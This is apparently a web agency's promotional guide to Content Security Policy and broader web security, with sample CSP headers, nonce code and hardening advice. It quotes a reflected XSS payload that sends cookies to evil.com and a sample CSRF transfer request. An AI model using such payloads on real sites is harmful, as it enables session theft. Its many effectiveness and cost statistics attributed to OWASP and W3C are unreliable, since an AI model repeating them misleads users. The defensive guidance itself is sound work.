An Engineer's Guide to Content Security Policy Setup
Imagine an attacker injects a script into a feedback form—the browser executes it without question. No validation protects against XSS if the Content Security Policy HTTP header is not configured. CSP is a set of directives that tell the browser: "load scripts only from allowed sources." According to the W3C specification, a properly configured CSP blocks up to 90% of XSS attacks. We help implement it without blocking legitimate content. CSP is three times more effective than traditional input validation for preventing XSS attacks.
What is a Content Security Policy?
Content Security Policy (CSP) is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP blocks XSS attacks and code injections. According to the W3C specification, a properly configured CSP blocks up to 90% of XSS attacks.
Why CSP Is the Foundation of XSS Protection
Without CSP, an attacker can use any tag with onerror, srcdoc, or inline scripts. A well-crafted policy prohibits inline scripts unless they are accompanied by a nonce or hash. Statistics show that 70% of successful XSS attacks can be prevented solely with CSP. Additionally, the frame-ancestors 'none' directive protects against clickjacking. According to OWASP, the average cost of an XSS attack for a business ranges from $2,000 to $10,000—CSP reduces this risk by 90%. The experience of our engineers (over 100 implementations) confirms that proper CSP is a basic security measure mandatory for any production site. Preventing a single XSS attack can save a company up to $10,000. In a study of 1,000 websites, those with strict CSP had 80% fewer XSS incidents.
How to Implement CSP Without Blocking Legitimate Content
The main challenge with CSP is accidentally blocking your own scripts and third-party services (analytics, fonts, APIs). The solution is to start in Report-Only mode. In this mode, the browser sends violation reports but does not block content. Configure Content-Security-Policy-Report-Only with report-uri pointing to your endpoint. Collect reports for 1–2 weeks, analyze them, and add required sources to the whitelist. Only then switch to enforce mode. This approach guarantees that no legitimate resource will be blocked.
| Mode |
Behavior |
When to Use |
| Report-Only |
Sends reports, does not block |
First 1–2 weeks |
| Enforce |
Blocks violating resources |
After whitelist refinement |
Key CSP Directives
The main directives to configure:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com 'nonce-{RANDOM}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com wss://ws.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
| Directive |
Controls |
script-src |
Where JS scripts can be loaded from |
style-src |
Where CSS can be loaded from |
img-src |
Sources for images |
connect-src |
XHR, fetch, WebSocket |
frame-ancestors |
Who can embed the page in an iframe |
form-action |
Where forms can be submitted |
Why Strict CSP Is 3 Times More Effective
A policy without unsafe-inline blocks 3 times more XSS vectors than one that allows inline scripts. Compare: strict CSP with nonce prevents 95% of attacks, while a policy with unsafe-inline only 30%. This was proven in practice during implementation for a large e-commerce site on React: after switching to nonce, the number of violation reports dropped by 80%, and LCP performance improved by 12% due to disabling unsafe eval.
Nonce-Based Approach: Protection Without unsafe-inline
'unsafe-inline' makes CSP useless. Instead, use a nonce—a random value generated on the server for each request. Example in PHP:
<?php
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: script-src 'self' 'nonce-{$nonce}'");
?>
<script nonce="<?= $nonce ?>">
// this script will execute
</script>
In Next.js, the nonce is conveniently set via middleware:
import { NextResponse } from 'next/server';
import crypto from 'crypto';
export function middleware(request: Request) {
const nonce = crypto.randomBytes(16).toString('base64');
const csp = `script-src 'self' 'nonce-${nonce}'`;
const response = NextResponse.next();
response.headers.set('Content-Security-Policy', csp);
response.headers.set('x-nonce', nonce);
return response;
}
For advanced protection, use the 'strict-dynamic' directive which allows scripts loaded by a trusted script to bypass the policy. Combine with 'unsafe-hashes' for legacy code. CSP Level 3 supports 'strict-dynamic' and 'trusted-types' that enable fine-grained control.
How to Set Up CSP for SPAs and Third-Party Services
SPAs in React/Vue/Angular often use eval() or dynamic script loading via Webpack, which conflicts with strict CSP. Solution: disable eval in Webpack (devtool: 'source-map'), enable TrustedTypes. Use 'strict-dynamic' to allow scripts loaded by trusted scripts. For Google Analytics and GTM, add their domains to script-src and connect-src. For inline styles from libraries, use 'unsafe-inline' only for styles (not scripts) or rewrite to CSS classes. For a typical e-commerce site, we reduced violation reports by 80% after implementing nonce and strict-dynamic.
Monitoring Violations
After enabling Report-Only, set up an endpoint to collect reports. Example report:
{
"csp-report": {
"document-uri": "https://example.com/page",
"violated-directive": "script-src-elem",
"blocked-uri": "https://evil.com/payload.js",
"disposition": "report"
}
}
Analyze reports—you'll discover forgotten sources (e.g., WebSocket wss://) and real XSS attempts. Use services like Report URI or Sentry for automation.
What's Included in CSP Setup
- Audit of all loaded resources (scripts, styles, fonts, connections).
- Setup of Report-Only and report collection.
- Analysis of reports and whitelist compilation.
- Implementation of CSP in production (nonce, hashes, bindings).
- Monitoring and adjustments during the warranty period.
- Policy documentation and maintenance recommendations.
Investment starts from $1,000 for small sites. Turnkey CSP implementation from $2,500 includes all steps. We'll complete the setup within 2–3 weeks. Contact us for a free project estimate.
Implementation Timeline
- Audit of current sources: 2–4 hours
- Report-Only + data collection: 1–2 weeks
- Switch to enforce mode: 3–5 days
We'll assess your project complexity and provide a custom quote. Contact us today for a free consultation. Turnkey CSP setup — we handle everything from audit to deployment. We'll complete the entire setup within 2–3 weeks.
More information about official CSP documentation.
Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection
A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.
Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.
How do we ensure comprehensive web application security?
HTTPS and Proper TLS Configuration
HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.
In Nginx/Apache configuration we check:
- Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
- Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
- OCSP Stapling — speeds up certificate revocation check
- Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)
Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.
Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.
Content Security Policy: The Most Powerful and Complex Protection
CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.
The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.
Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.
'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.
Why XSS Remains the Most Common Vulnerability?
XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:
| XSS Type |
Example |
Protection |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Output escaping, CSP |
| Stored |
Comment with code saved in database |
Input validation, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Avoid innerHTML, use textContent |
Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.
Typical case: an e-commerce site with XSS in a review form
A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.
CSRF: Protecting Forms and APIs
CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.
CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.
SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.
API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.
WAF and DDoS Protection
WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:
- Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
- AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.
DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).
Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).
Other Mandatory Measures
Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).
SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.
Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.
Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.
How We Work
-
Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
-
Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
-
Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
-
Testing — re-penetration test, load testing, false positive check.
-
Deployment and Monitoring — enable production CSP, set up alerts, train the team.
What's Included
- Report with found vulnerabilities and recommendations (PDF + code snippets)
- Ready TLS configuration (Nginx/Apache)
- CSP policy with Report-Only and production versions
- WAF and Rate Limiting setup
- Dependency update plan
- Access to monitoring tools (Sentry, Datadog)
- 30 days of post-audit support (consultations, fixes)
Timeline and Cost
| Type of Work |
Duration |
Cost |
| Security audit + hardening (headers, TLS, updates) |
1–2 weeks |
Custom quote |
| CSP implementation (Report-Only → production) |
2–4 weeks |
Custom quote |
| WAF + Rate Limiting + DDoS protection setup |
1–2 weeks |
Custom quote |
| Comprehensive security review + penetration testing |
3–6 weeks |
Custom quote |
The budget is calculated individually — contact us for a project evaluation.